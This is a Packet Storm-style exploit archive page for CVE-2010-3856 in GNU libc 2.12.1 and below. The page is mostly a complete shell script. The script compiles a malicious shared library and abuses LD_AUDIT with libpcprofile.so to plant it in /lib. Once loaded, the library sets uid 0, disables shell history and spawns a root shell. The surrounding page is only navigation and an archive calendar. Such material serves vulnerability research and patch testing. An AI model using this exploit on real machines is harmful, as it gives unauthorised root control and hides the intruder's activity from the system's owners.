what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

GNU libc 2.12.1 LD_AUDIT libpcprofile.so Local Root

GNU libc 2.12.1 LD_AUDIT libpcprofile.so Local Root
Posted Nov 6, 2014
Authored by Saeid Bostandoust

GNU libc versions 2.12.1 and below LD_AUDIT libpcprofile.so local root exploit.

tags | exploit, local, root
advisories | CVE-2010-3856
SHA-256 | 11997246f78036a9735342aed99ef6bbde5fdf224f85ba7703ee81308de43bad

GNU libc 2.12.1 LD_AUDIT libpcprofile.so Local Root

Change Mirror Download
#!/bin/sh

# Exploit Title: GNU libc <= 2.12.1 LD_AUDIT Root Exploit
# Date: 05/11/2014
# Exploit Author: ssbostan
# Vendor Homepage: http://www.gnu.org/software/libc/
# Software Link: http://ftp.gnu.org/gnu/glibc/
# Version: <= 2.12.1
# Tested on: Ubuntu 8.04
# CVE: http://www.cvedetails.com/cve/CVE-2010-3856/

umask 0
cat > /tmp/libxpl.c << EOF
__attribute__((constructor)) void init()
{
setuid(0);
setgid(0);
unlink("/lib/libxpl.so");
setenv("HISTFILE", "/dev/null", 1);
execl("/bin/sh", "/bin/sh", "-i", 0);
}
EOF
gcc -w -fPIC -shared -o /tmp/libxpl.so /tmp/libxpl.c
LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/lib/libxpl.so" ping 2>/dev/null
cat /tmp/libxpl.so > /lib/libxpl.so
rm -rf /tmp/libxpl.c /tmp/libxpl.so
LD_AUDIT="libxpl.so" ping
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    0 Files
  • 6
    Mar 6th
    0 Files
  • 7
    Mar 7th
    0 Files
  • 8
    Mar 8th
    0 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    0 Files
  • 12
    Mar 12th
    0 Files
  • 13
    Mar 13th
    0 Files
  • 14
    Mar 14th
    0 Files
  • 15
    Mar 15th
    0 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    0 Files
  • 19
    Mar 19th
    0 Files
  • 20
    Mar 20th
    0 Files
  • 21
    Mar 21st
    0 Files
  • 22
    Mar 22nd
    0 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close